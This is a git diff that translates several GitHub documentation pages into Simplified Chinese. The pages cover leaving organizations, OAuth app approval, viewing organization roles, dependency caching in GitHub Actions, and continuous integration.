-3. Under "Organizations", find the organization you'd like to remove yourself from, then click **Leave**.
-  ![Leave organization button with roles shown](/assets/images/help/organizations/context-leave-organization-with-roles-shown.png)
+3. 在“Organizations（组织）”下，找到您想要从中删除自己的组织，然后单击 **Leave（离开）**。 ![显示角色的离开组织按钮](/assets/images/help/organizations/context-leave-organization-with-roles-shown.png)
diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps.md
index 9571f2179e..037585243f 100644
--- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps.md
+++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps.md
@@ -1,6 +1,6 @@
 ---
-title: Requesting organization approval for OAuth Apps
-intro: 'Organization members can request that an owner approve access to organization resources for {% data variables.product.prodname_oauth_app %}.'
+title: 请求组织批准 OAuth 应用程序
+intro: '组织成员可以请求所有者批准对 {% data variables.product.prodname_oauth_app %}组织资源的访问权限。'
 redirect_from:
   - /articles/requesting-organization-approval-for-third-party-applications
   - /articles/requesting-organization-approval-for-your-authorized-applications
@@ -12,20 +12,18 @@ versions:
   ghec: '*'
 topics:
   - Accounts
-shortTitle: Request OAuth App approval
+shortTitle: 请求 OAuth 应用程序批准
 ---
-## Requesting organization approval for an {% data variables.product.prodname_oauth_app %} you've already authorized for your personal account
+
+## 请求组织批准您已为个人帐户授权的 {% data variables.product.prodname_oauth_app %}
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.access_applications %}
 {% data reusables.user_settings.access_authorized_oauth_apps %}
-3. In the list of applications, click the name of the {% data variables.product.prodname_oauth_app %} you'd like to request access for.
-![View application button](/assets/images/help/settings/settings-third-party-view-app.png)
-4. Next to the organization you'd like the {% data variables.product.prodname_oauth_app %} to access, click **Request access**.
-![Request access button](/assets/images/help/settings/settings-third-party-request-access.png)
-5. After you review the information about requesting {% data variables.product.prodname_oauth_app %} access, click **Request approval from owners**.
-![Request approval button](/assets/images/help/settings/oauth-access-request-approval.png)
+3. 在应用程序列表中，单击您想要请求访问权限的 {% data variables.product.prodname_oauth_app %}的名称。 ![查看应用程序按钮](/assets/images/help/settings/settings-third-party-view-app.png)
+4. 在您想要 {% data variables.product.prodname_oauth_app %}访问的组织旁边，单击 **Request access（请求访问权限）**。 ![请求访问权限按钮](/assets/images/help/settings/settings-third-party-request-access.png)
+5. 审查关于请求 {% data variables.product.prodname_oauth_app %}访问权限的信息后，单击 **Request approval from owners（请求所有者的批准）**。 ![请求批准按钮](/assets/images/help/settings/oauth-access-request-approval.png)
 
-## Further reading
+## 延伸阅读
 
-- "[About {% data variables.product.prodname_oauth_app %} access restrictions](/articles/about-oauth-app-access-restrictions)"
+- "[关于 {% data variables.product.prodname_oauth_app %} 访问限制](/articles/about-oauth-app-access-restrictions)"
diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization.md
index 556afab27d..729806d871 100644
--- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization.md
+++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization.md
@@ -1,6 +1,7 @@
 ---
 title: 查看组织中人员的角色
 intro: '您可以查看组织中人员的列表，并按其角色进行筛选。 For more information on organization roles, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)."'
+permissions: Organization members can see people's roles in the organization.
 redirect_from:
   - /articles/viewing-people-s-roles-in-an-organization
   - /articles/viewing-peoples-roles-in-an-organization
@@ -16,13 +17,48 @@ topics:
 shortTitle: 查看组织中的人员
 ---
 
-{% note %}
-
-**注：**您必须是组织成员才能查看组织中人员的角色。
-
-{% endnote %}
+## View organization roles
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.people %}
 4. 您将看到组织中人员的列表。 要按角色过滤列表，请单击 **Role（角色）**并选择您搜索的角色。 ![单击角色](/assets/images/help/organizations/view-list-of-people-in-org-by-role.png)
+
+{% ifversion fpt %}
+
+If your organization uses {% data variables.product.prodname_ghe_cloud %}, you can also view the enterprise owners who manage billing settings and policies for all your enterprise's organizations. For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization#view-enterprise-owners-and-their-roles-in-an-organization).
+
+{% endif %}
+
+{% if enterprise-owners-visible-for-org-members %}
+## View enterprise owners and their roles in an organization
+
+If your organization is managed by an enterprise account, then you can view the enterprise owners who manage billing settings and policies for all of your enterprise's organizations. For more information about enterprise accounts, see "[Types of {% data variables.product.prodname_dotcom %} accounts](/get-started/learning-about-github/types-of-github-accounts)."
+
+You can also view whether an enterprise owner has a specific role in the organization. Enterprise owners can also be an organization member, any other organization role, or be unaffililated with the organization.
+
+{% note %}
+
+**Note:** If you're an organization owner, you can also invite an enterprise owner to have a role in the organization. If an enterprise owner accepts the invitation, a seat or license in the organization is used from the available licenses for your enterprise. For more information about how licensing works, see "[Roles in an enterprise](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owner)."
+
+{% endnote %}
+
+| **Enterprise role** | **Organization role**                          | **Organization access or impact**                                                                                              |
+| ------------------- | ---------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------ |
+| 企业所有者               | Unaffililated or no official organization role | Cannot access organization content or repositories but manages enterprise settings and policies that impact your organization. |
+| 企业所有者               | Organization owner                             | Able to configure organization settings and manage access to the organization's resources through teams, etc.                  |
+| 企业所有者               | Organization member                            | Able to access organization resources and content, such as repositories, without access to the organization's settings.        |
+
+To review all roles in an organization, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)." {% ifversion ghec %} An organization member can also have a custom role for a specific repository. For more information, see "[Managing custom repository roles for an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)."{% endif %}
+
+For more information about the enterprise owner role, see "[Roles in an enterprise](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owner)."
+
+{% data reusables.profile.access_org %}
+{% data reusables.user_settings.access_org %}
+{% data reusables.organizations.people %}
+4. In the left sidebar, under "Enterprise permissions", click **Enterprise owners**. ![Screenshot of "Enterprise owners" option in sidebar menu](/assets/images/help/organizations/enterprise-owners-sidebar.png)
+5. View the list of the enterprise owners for your enterprise. If the enterprise owner is also a member of your organization, you can see their role in the organization.
+
+  ![Screenshot of list of Enterprise owners and their role in the organization](/assets/images/help/organizations/enterprise-owners-list-on-org-page.png)
+
+{% endif %}
diff --git a/translations/zh-CN/content/actions/advanced-guides/caching-dependencies-to-speed-up-workflows.md b/translations/zh-CN/content/actions/advanced-guides/caching-dependencies-to-speed-up-workflows.md
index 603f7c540d..d20a7e67f1 100644
--- a/translations/zh-CN/content/actions/advanced-guides/caching-dependencies-to-speed-up-workflows.md
+++ b/translations/zh-CN/content/actions/advanced-guides/caching-dependencies-to-speed-up-workflows.md
@@ -1,7 +1,7 @@
 ---
-title: Caching dependencies to speed up workflows
-shortTitle: Caching dependencies
-intro: 'To make your workflows faster and more efficient, you can create and use caches for dependencies and other commonly reused files.'
+title: 缓存依赖项以加快工作流程
+shortTitle: 缓存依赖项
+intro: 为了使工作流程更快、更高效，可以为依赖项及其他经常重复使用的文件创建和使用缓存。
 redirect_from:
   - /github/automating-your-workflow-with-github-actions/caching-dependencies-to-speed-up-workflows
   - /actions/automating-your-workflow-with-github-actions/caching-dependencies-to-speed-up-workflows
@@ -15,13 +15,13 @@ topics:
   - Workflows
 ---
 
-## About caching workflow dependencies
+## 关于缓存工作流程依赖项
 
-Workflow runs often reuse the same outputs or downloaded dependencies from one run to another. For example, package and dependency management tools such as Maven, Gradle, npm, and Yarn keep a local cache of downloaded dependencies.
+工作流程运行通常在不同运行之间重新使用相同的输出或下载的依赖项。 例如，Maven、Gradle、npm 和 Yarn 等软件包和依赖项管理工具都会对下载的依赖项保留本地缓存。
 
-Jobs on {% data variables.product.prodname_dotcom %}-hosted runners start in a clean virtual environment and must download dependencies each time, causing increased network utilization, longer runtime, and increased cost. To help speed up the time it takes to recreate these files, {% data variables.product.prodname_dotcom %} can cache dependencies you frequently use in workflows.
+{% data variables.product.prodname_dotcom %} 托管的运行器在一个干净的虚拟环境中启动，每次都必须下载依赖项，造成网络利用率提高、运行时间延长和成本增加。 为帮助加快重新创建这些文件，{% data variables.product.prodname_dotcom %} 可以缓存您在工作流程中经常使用的依赖项。
 
-To cache dependencies for a job, you'll need to use {% data variables.product.prodname_dotcom %}'s `cache` action. The action retrieves a cache identified by a unique key. For more information, see [`actions/cache`](https://github.com/actions/cache).
+要缓存作业的依赖项，您需要使用 {% data variables.product.prodname_dotcom %} 的 `cache` 操作。 该操作检索由唯一键标识的缓存。 更多信息请参阅 [`actions/cache`](https://github.com/actions/cache)。
 
 If you are caching the package managers listed below, consider using the respective setup-* actions, which require almost zero configuration and are easy to use.
 
@@ -54,43 +54,43 @@ If you are caching the package managers listed below, consider using the respect
 
 {% warning %}
 
-**Warning**: We recommend that you don't store any sensitive information in the cache of public repositories. For example, sensitive information can include access tokens or login credentials stored in a file in the cache path. Also, command line interface (CLI) programs like `docker login` can save access credentials in a configuration file. Anyone with read access can create a pull request on a repository and access the contents of the cache. Forks of a repository can also create pull requests on the base branch and access caches on the base branch.
+**警告**：建议不要在公共仓库缓存中存储任何敏感信息。 例如，敏感信息可以包括存储在缓存路径的文件中的访问令牌或登录凭据。 此外，命令行接口 (CLI) 程序，例如 `docker login`，可以在配置文件中保存访问凭据。 具有读取访问权限的任何人都可以在仓库上创建拉取请求并访问缓存的内容。 仓库的复刻也可在基本分支上创建拉取请求，并在基本分支上访问缓存。
 
 {% endwarning %}
 
-## Comparing artifacts and dependency caching
+## 比较构件和依赖项缓存
 
-Artifacts and caching are similar because they provide the ability to store files on {% data variables.product.prodname_dotcom %}, but each feature offers different use cases and cannot be used interchangeably.
+构件与缓存类似，因为它们能够在 {% data variables.product.prodname_dotcom %} 上存储文件，但每项功能都提供不同的用例，不能互换使用。
 
-- Use caching when you want to reuse files that don't change often between jobs or workflow runs.
-- Use artifacts when you want to save files produced by a job to view after a workflow has ended. For more information, see "[Persisting workflow data using artifacts](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)."
+- 如果要在作业或工作流程运行之间重复使用不经常更改的文件，请使用缓存。
+- 如果要保存作业生成的文件，以便在工作流程结束后查看，则使用构件。 更多信息请参阅“[使用构件持久化工作流程](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)”。
 
-## Restrictions for accessing a cache
+## 访问缓存的限制
 
-With `v2` of the `cache` action, you can access the cache in workflows triggered by any event that has a `GITHUB_REF`. If you are using `v1` of the `cache` action, you can only access the cache in workflows triggered by `push` and `pull_request` events, except for the `pull_request` `closed` event. For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)."
+使用 `cache` 操作的 `v2`，可以访问具有 `GITHUB_REF` 的任何事件所触发的工作流程中的缓存。 如果使用 `cache` 操作的 `v1`，您只能访问由 `push` 和 `pull_request` 事件触发的工作流程中的缓存，`pull_request` `closed` 事件除外。 更多信息请参阅“[触发工作流程的事件](/actions/reference/events-that-trigger-workflows)”。
 
-A workflow can access and restore a cache created in the current branch, the base branch (including base branches of forked repositories), or the default branch (usually `main`). For example, a cache created on the default branch would be accessible from any pull request. Also, if the branch `feature-b` has the base branch `feature-a`, a workflow triggered on `feature-b` would have access to caches created in the default branch (`main`), `feature-a`, and `feature-b`.
+工作流程可以访问和还原当前分支、基础分支（包括复刻的仓库的基本分支）或默认分支（通常是 `main`）中创建的缓存 例如，在默认分支上创建的缓存可从任何拉取请求访问。 另外，如果分支 `feature-b` 具有基础分支 `feature-a`，则触发于 `feature-b` 的工作流程可以访问默认分支 (`main`)、`feature-a` 和 `feature-b` 中创建的缓存。
 
-Access restrictions provide cache isolation and security by creating a logical boundary between different branches. For example, a cache created for the branch `feature-a` (with the base `main`) would not be accessible to a pull request for the branch `feature-b` (with the base `main`).
+访问限制通过在不同分支之间创建逻辑边界来提供缓存隔离和安全。 例如， 为分支 `feature-a`（具有基础分支 `main`）创建的缓存将无法访问分支 `feature-b`（具有基础分支 `main`）的拉取请求。
 
-Multiple workflows within a repository share cache entries. A cache created for a branch within a workflow can be accessed and restored from another workflow for the same repository and branch.
+仓库中的多个工作流程共享缓存条目。 可以从同一仓库和分支的另一个工作流程访问和恢复为工作流程中的分支创建的缓存。
 
-## Using the `cache` action
+## 使用 `cache` 操作
 
-The `cache` action will attempt to restore a cache based on the `key` you provide. When the action finds a cache, the action restores the cached files to the `path` you configure.
+`cache` 操作将尝试恢复基于您提供的 `key` 的缓存。 当操作找到缓存时，该操作会将缓存的文件还原到您配置的 `path`。
 
-If there is no exact match, the action creates a new cache entry if the job completes successfully. The new cache will use the `key` you provided and contains the files in the `path` directory.
+如果没有精确匹配，操作在作业成功完成时将创建一个新的缓存条目。 新缓存将使用您提供的 `key` 并包含 `path` 目录中的文件。
 
-You can optionally provide a list of `restore-keys` to use when the `key` doesn't match an existing cache. A list of `restore-keys` is useful when you are restoring a cache from another branch because `restore-keys` can partially match cache keys. For more information about matching `restore-keys`, see "[Matching a cache key](#matching-a-cache-key)."
+当 `key` 与现有缓存不匹配时，您可以选择性提供要使用的 `restore-keys` 列表。 `restore-keys` 列表很有用，因为 `restore-keys` 可以部分匹配缓存密钥。 有关匹配 `restore-keys` 的更多信息，请参阅“[匹配缓存密钥](#matching-a-cache-key)”。
 
-For more information, see [`actions/cache`](https://github.com/actions/cache).
+更多信息请参阅 [`actions/cache`](https://github.com/actions/cache)。
 
-### Input parameters for the `cache` action
+### `cache` 操作的输入参数
 
-- `key`: **Required** The key created when saving a cache and the key used to search for a cache. Can be any combination of variables, context values, static strings, and functions. Keys have a maximum length of 512 characters, and keys longer than the maximum length will cause the action to fail.
-- `path`: **Required** The file path on the runner to cache or restore. The path can be an absolute path or relative to the working directory.
-  - Paths can be either directories or single files, and glob patterns are supported.
-  - With `v2` of the `cache` action, you can specify a single path, or you can add multiple paths on separate lines. For example:
+- `key`：**必要** 保存缓存时创建的键，以及用于搜索缓存的键。 可以是变量、上下文值、静态字符串和函数的任何组合。 密钥最大长度为 512 个字符，密钥长度超过最大长度将导致操作失败。
+- `path`：**必要** 运行器上缓存或还原的文件路径。 路径可以是绝对路径或相对于工作目录的路径。
+  - 路径可以是目录或单个文件，并且支持 glob 模式。
+  - 使用 `cache` 操作的 `v2`，可以指定单个路径，也可以在单独的行上添加多个路径。 例如：
     ```
     - name: Cache Gradle packages
       uses: actions/cache@v2
@@ -99,16 +99,16 @@ For more information, see [`actions/cache`](https://github.com/actions/cache).
           ~/.gradle/caches
           ~/.gradle/wrapper
     ```
-  - With `v1` of the `cache` action, only a single path is supported and it must be a directory. You cannot cache a single file.
-- `restore-keys`: **Optional** An ordered list of alternative keys to use for finding the cache if no cache hit occurred for `key`.
+  - 对于 `cache` 操作的 `v1`，仅支持单个路径，它必须是一个目录。 您不能缓存单个文件。
+- `restore-keys`：**可选** `key` 没有发生缓存命中时用于查找缓存的其他密钥顺序列表。
 
-### Output parameters for the `cache` action
+### `cache` 操作的输出参数
 
-- `cache-hit`: A boolean value to indicate an exact match was found for the key.
+- `cache-hit`：表示找到了密钥的精确匹配项的布尔值。
 
-### Example using the `cache` action
+### `cache` 操作使用示例
 
-This example creates a new cache when the packages in `package-lock.json` file change, or when the runner's operating system changes. The cache key uses contexts and expressions to generate a key that includes the runner's operating system and a SHA-256 hash of the `package-lock.json` file.
+此示例在 `package-lock.json` 文件中的包更改时，或运行器的操作系统更改时，创建一个新的缓存。 缓存键使用上下文和表达式生成一个键值，其中包括运行器的操作系统和 `package-lock.json` 文件的 SHA-256 哈希。
 
 {% raw %}
 ```yaml{:copy}
@@ -147,23 +147,23 @@ jobs:
 ```
 {% endraw %}
 
-When `key` matches an existing cache, it's called a cache hit, and the action restores the cached files to the `path` directory.
+当 `key` 匹配现有缓存时，被称为缓存命中，并且操作会将缓存的文件还原到 `path` 目录。
 
-When `key` doesn't match an existing cache, it's called a cache miss, and a new cache is created if the job completes successfully. When a cache miss occurs, the action searches for alternate keys called `restore-keys`.
+当 `key` 不匹配现有缓存时，则被称为缓存错过，在作业成功完成时将创建一个新缓存。 发生缓存错过时，操作将搜索称为 `restore-keys` 的替代键值。
 
-1. If you provide `restore-keys`, the `cache` action sequentially searches for any caches that match the list of `restore-keys`.
-   - When there is an exact match, the action restores the files in the cache to the `path` directory.
-   - If there are no exact matches, the action searches for partial matches of the restore keys. When the action finds a partial match, the most recent cache is restored to the `path` directory.
-1. The `cache` action completes and the next workflow step in the job runs.
-1. If the job completes successfully, the action creates a new cache with the contents of the `path` directory.
+1. 如果您提供 `restore-keys`，`cache` 操作将按顺序搜索与 `restore-keys` 列表匹配的任何缓存。
+   - 当精确匹配时，操作会将缓存中的文件恢复至 `path` 目录。
+   - 如果没有精确匹配，操作将会搜索恢复键值的部分匹配。 当操作找到部分匹配时，最近的缓存将恢复到 `path` 目录。
+1. `cache` 操作完成，作业中的下一个工作流程步骤运行。
+1. 如果作业成功完成，则操作将创建一个包含 `path` 目录内容的新缓存。
 
-To cache files in more than one directory, you will need a step that uses the [`cache`](https://github.com/actions/cache) action for each directory. Once you create a cache, you cannot change the contents of an existing cache but you can create a new cache with a new key.
+要在多个目录中缓存文件，您需要一个对每个目录使用 [`cache`](https://github.com/actions/cache) 操作的步骤。 创建缓存后，无法更改现有缓存的内容，但可以使用新键创建新缓存。
 
-### Using contexts to create cache keys
+### 使用上下文创建缓存键
 
-A cache key can include any of the contexts, functions, literals, and operators supported by {% data variables.product.prodname_actions %}. For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
+缓存键可以包括 {% data variables.product.prodname_actions %} 支持的任何上下文、函数、文本和运算符。 For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
 
-Using expressions to create a `key` allows you to automatically create a new cache when dependencies have changed. For example, you can create a `key` using an expression that calculates the hash of an npm `package-lock.json` file.
+使用表达式创建 `key` 允许您在依赖项更改时自动创建新缓存。 例如，您可以使用计算 npm `package-lock.json` 文件哈希的表达式创建 `key`。
 
 {% raw %}
 ```yaml
@@ -171,19 +171,19 @@ npm-${{ hashFiles('package-lock.json') }}
 ```
 {% endraw %}
 
-{% data variables.product.prodname_dotcom %} evaluates the expression `hash "package-lock.json"` to derive the final `key`.
+{% data variables.product.prodname_dotcom %} 评估表达式 `hash "package-lock.json"` 以派生最终 `key`。
 
 ```yaml
 npm-d5ea0750
 ```
 
-## Matching a cache key
+## 匹配缓存键
 
-The `cache` action first searches for cache hits for `key` and `restore-keys` in the branch containing the workflow run. If there are no hits in the current branch, the `cache` action searches for `key` and `restore-keys` in the parent branch and upstream branches.
+`cache` 操作会先在包含工作流程运行的分支中搜索 `key` 和 `restore-key` 的缓存命中。 如果当前分支中没有命中，`cache` 操作将在父分支和上游分支中搜索 `key` 和 `restore-keys`。
 
-You can provide a list of restore keys to use when there is a cache miss on `key`. You can create multiple restore keys ordered from the most specific to least specific. The `cache` action searches for `restore-keys` in sequential order. When a key doesn't match directly, the action searches for keys prefixed with the restore key. If there are multiple partial matches for a restore key, the action returns the most recently created cache.
+您可以提供一个出现 `key` 缓存错过时使用的恢复键列表。 您可以创建从最具体到最不具体的多个恢复键。 `cache` 操作按顺序搜索 `restore-keys`。 当键不直接匹配时，操作将搜索以恢复键为前缀的键。 如果恢复键值有多个部分匹配项，操作将返回最近创建的缓存。
 
-### Example using multiple restore keys
+### 使用多个恢复键值的示例
 
 {% raw %}
 ```yaml
@@ -194,7 +194,7 @@ restore-keys: |
 ```
 {% endraw %}
 
-The runner evaluates the expressions, which resolve to these `restore-keys`:
+运行器将评估表达式，解析为以下 `restore-keys`：
 
 {% raw %}
 ```yaml
@@ -205,13 +205,13 @@ restore-keys: |
 ```
 {% endraw %}
 
-The restore key `npm-foobar-` matches any key that starts with the string `npm-foobar-`. For example, both of the keys `npm-foobar-fd3052de` and `npm-foobar-a9b253ff` match the restore key. The cache with the most recent creation date would be used. The keys in this example are searched in the following order:
+恢复键值 `npm-foobar-` 与任何以字符串 `npm-foobar-` 开头的键值匹配。 例如，键值 `npm-foobar-fd3052de` 和 `npm-foobar-a9b253ff` 都与恢复键值匹配。 将使用创建日期最新的缓存。 此示例中的键值按以下顺序搜索：
 
-1. **`npm-foobar-d5ea0750`** matches a specific hash.
-1. **`npm-foobar-`** matches cache keys prefixed with `npm-foobar-`.
-1. **`npm-`** matches any keys prefixed with `npm-`.
+1. **`npm-foobar-d5ea0750`** 匹配特定的哈希。
+1. **`npm-foobar-`** 匹配前缀为 `npm-foobar-` 的缓存键值。
+1. **`npm-`** 匹配前缀为 `npm-` 的任何键值。
 
-#### Example of search priority
+#### 搜索优先级示例
 
 ```yaml
 key:
@@ -221,15 +221,15 @@ restore-keys: |
   npm-
 ```
 
-For example, if a pull request contains a `feature` branch (the current scope) and targets the default branch (`main`), the action searches for `key` and `restore-keys` in the following order:
+例如，如果拉取请求包含 `feature` 分支（当前范围）并针对默认分支 (`main`)，操作将按以下顺序搜索 `key` 和 `restore-keys`：
 
-1. Key `npm-feature-d5ea0750` in the `feature` branch scope
-1. Key `npm-feature-` in the `feature` branch scope
-2. Key `npm-` in the `feature` branch scope
-1. Key `npm-feature-d5ea0750` in the `main` branch scope
-3. Key `npm-feature-` in the `main` branch scope
-4. Key `npm-` in the `main` branch scope
+1. `feature` 分支范围中的键值 `npm-feature-d5ea0750`
+1. `feature` 分支范围中的键值 `npm-feature-`
+2. `feature` 分支范围中的键值 `npm-`
+1. `main` 分支范围中的键值 `npm-feature-d5ea0750`
+3. `main` 分支范围中的键值 `npm-feature-`
+4. `main` 分支范围中的键值 `npm`
 
-## Usage limits and eviction policy
+## 使用限制和收回政策
 
-{% data variables.product.prodname_dotcom %} will remove any cache entries that have not been accessed in over 7 days. There is no limit on the number of caches you can store, but the total size of all caches in a repository is limited to 10 GB. If you exceed this limit, {% data variables.product.prodname_dotcom %} will save your cache but will begin evicting caches until the total size is less than 10 GB.
+{% data variables.product.prodname_dotcom %} 将删除 7 天内未被访问的任何缓存条目。 可以存储的缓存数没有限制，但存储库中所有缓存的总大小限制为 10 GB。 如果超过此限制，{% data variables.product.prodname_dotcom %} 将保存缓存，但会开始收回缓存，直到总大小小于 10 GB。
diff --git a/translations/zh-CN/content/actions/automating-builds-and-tests/about-continuous-integration.md b/translations/zh-CN/content/actions/automating-builds-and-tests/about-continuous-integration.md
index 393d8c7c60..9fe8cb2f97 100644
--- a/translations/zh-CN/content/actions/automating-builds-and-tests/about-continuous-integration.md
+++ b/translations/zh-CN/content/actions/automating-builds-and-tests/about-continuous-integration.md
@@ -1,5 +1,5 @@
 ---
-title: About continuous integration
+title: 关于持续集成
 intro: 'You can create custom continuous integration (CI) workflows directly in your {% data variables.product.prodname_dotcom %} repository with {% data variables.product.prodname_actions %}.'
 redirect_from:
   - /articles/about-continuous-integration
@@ -15,46 +15,46 @@ versions:
 type: overview
 topics:
   - CI
-shortTitle: Continuous integration
+shortTitle: 持续集成
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About continuous integration
+## 关于持续集成
 
-Continuous integration (CI) is a software practice that requires frequently committing code to a shared repository. Committing code more often detects errors sooner and reduces the amount of code a developer needs to debug when finding the source of an error. Frequent code updates also make it easier to merge changes from different members of a software development team. This is great for developers, who can spend more time writing code and less time debugging errors or resolving merge conflicts.
+持续集成 (CI) 是一种需要频繁提交代码到共享仓库的软件实践。 频繁提交代码能较早检测到错误，减少在查找错误来源时开发者需要调试的代码量。 频繁的代码更新也更便于从软件开发团队的不同成员合并更改。 这对开发者非常有益，他们可以将更多时间用于编写代码，而减少在调试错误或解决合并冲突上所花的时间。
 
-When you commit code to your repository, you can continuously build and test the code to make sure that the commit doesn't introduce errors. Your tests can include code linters (which check style formatting), security checks, code coverage, functional tests, and other custom checks.
+提交代码到仓库时，可以持续创建并测试代码，以确保提交未引入错误。 您的测试可以包括代码语法检查（检查样式格式）、安全性检查、代码覆盖率、功能测试及其他自定义检查。
 
-Building and testing your code requires a server. You can build and test updates locally before pushing code to a repository, or you can use a CI server that checks for new code commits in a repository.
+创建和测试代码需要服务器。 您可以在推送代码到仓库之前在本地创建并测试更新，也可以使用 CI 服务器检查仓库中的新代码提交。
 
-## About continuous integration using {% data variables.product.prodname_actions %}
+## 关于使用 {% data variables.product.prodname_actions %} 的持续集成
 
-{% ifversion ghae %}CI using {% data variables.product.prodname_actions %} offers workflows that can build the code in your repository and run your tests. Workflows can run on runner systems that you host. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."
-{% else %} CI using {% data variables.product.prodname_actions %} offers workflows that can build the code in your repository and run your tests. Workflows can run on {% data variables.product.prodname_dotcom %}-hosted virtual machines, or on machines that you host yourself. For more information, see "[Virtual environments for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners)" and "[About self-hosted runners](/actions/automating-your-workflow-with-github-actions/about-self-hosted-runners)."
+{% ifversion ghae %}使用 {% data variables.product.prodname_actions %} 的 CI 提供可以在仓库中构建代码并运行测试的工作流程。 Workflows can run on runner systems that you host. 更多信息请参阅“[关于自托管运行器](/actions/hosting-your-own-runners/about-self-hosted-runners)”。
+{% else %}使用 {% data variables.product.prodname_actions %} 的 CI 提供可以在仓库中构建代码并运行测试的工作流程。 工作流程可在 {% data variables.product.prodname_dotcom %} 托管的虚拟机或您自行托管的机器上运行。 更多信息请参阅“[{% data variables.product.prodname_dotcom %} 托管的运行器的虚拟环境](/actions/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners)”和“[关于自托管运行器](/actions/automating-your-workflow-with-github-actions/about-self-hosted-runners)”。
 {% endif %}
 
-You can configure your CI workflow to run when a {% data variables.product.prodname_dotcom %} event occurs (for example, when new code is pushed to your repository), on a set schedule, or when an external event occurs using the repository dispatch webhook.
+您可以配置 CI 工作流程在 {% data variables.product.prodname_dotcom %} 事件发生时运行（例如，当新代码推送到您的仓库时）、按设定的时间表运行，或者在使用仓库分发 web 挂钩的外部事件发生时运行。
 
-{% data variables.product.product_name %} runs your CI tests and provides the results of each test in the pull request, so you can see whether the change in your branch introduces an error. When all CI tests in a workflow pass, the changes you pushed are ready to be reviewed by a team member or merged. When a test fails, one of your changes may have caused the failure.
+{% data variables.product.product_name %} 运行 CI 测试并在拉取请求中提供每次测试的结果，因此您可以查看分支中的更改是否引入错误。 如果工作流程中的所有 CI 测试通过，您推送的更改可供团队成员审查或合并 如果测试失败，则是其中某项更改导致了失败。
 
-When you set up CI in your repository, {% data variables.product.product_name %} analyzes the code in your repository and recommends CI workflows based on the language and framework in your repository. For example, if you use [Node.js](https://nodejs.org/en/), {% data variables.product.product_name %} will suggest a template file that installs your Node.js packages and runs your tests. You can use the CI workflow template suggested by {% data variables.product.product_name %}, customize the suggested template, or create your own custom workflow file to run your CI tests.
+如果在仓库中设置了 CI，{% data variables.product.product_name %} 会分析仓库中的代码，并根据仓库中的语言和框架推荐 CI 工作流程。 For example, if you use [Node.js](https://nodejs.org/en/), {% data variables.product.product_name %} will suggest a starter workflow that installs your Node.js packages and runs your tests. You can use the CI starter workflow suggested by {% data variables.product.product_name %}, customize the suggested starter workflow, or create your own custom workflow file to run your CI tests.
 
-![Screenshot of suggested continuous integration templates](/assets/images/help/repository/ci-with-actions-template-picker.png)
+![Screenshot of suggested continuous integration starter workflows](/assets/images/help/repository/ci-with-actions-template-picker.png)
 
-In addition to helping you set up CI workflows for your project, you can use {% data variables.product.prodname_actions %} to create workflows across the full software development life cycle. For example, you can use actions to deploy, package, or release your project. For more information, see "[About {% data variables.product.prodname_actions %}](/articles/about-github-actions)."
+除了帮助设置项目的 CI 工作流程之外，您还可以使用 {% data variables.product.prodname_actions %} 创建跨整个软件开发生命周期的工作流程。 例如，您可以使用操作来部署、封装或发行项目。 更多信息请参阅“[关于 {% data variables.product.prodname_actions %}](/articles/about-github-actions)”。
 
-For a definition of common terms, see "[Core concepts for {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/core-concepts-for-github-actions)."
+有关常用术语的定义，请参阅“[{% data variables.product.prodname_actions %} 的核心概念](/github/automating-your-workflow-with-github-actions/core-concepts-for-github-actions)”。
 
-## Workflow templates
+## Starter workflow
 
-{% data variables.product.product_name %} offers CI workflow templates for a variety of languages and frameworks.
+{% data variables.product.product_name %} offers CI starter workflow for a variety of languages and frameworks.
 
-Browse the complete list of CI workflow templates offered by {% data variables.product.company_short %} in the {% ifversion fpt or ghec %}[actions/starter-workflows](https://github.com/actions/starter-workflows/tree/main/ci) repository{% else %} `actions/starter-workflows` repository on {% data variables.product.product_location %}{% endif %}.
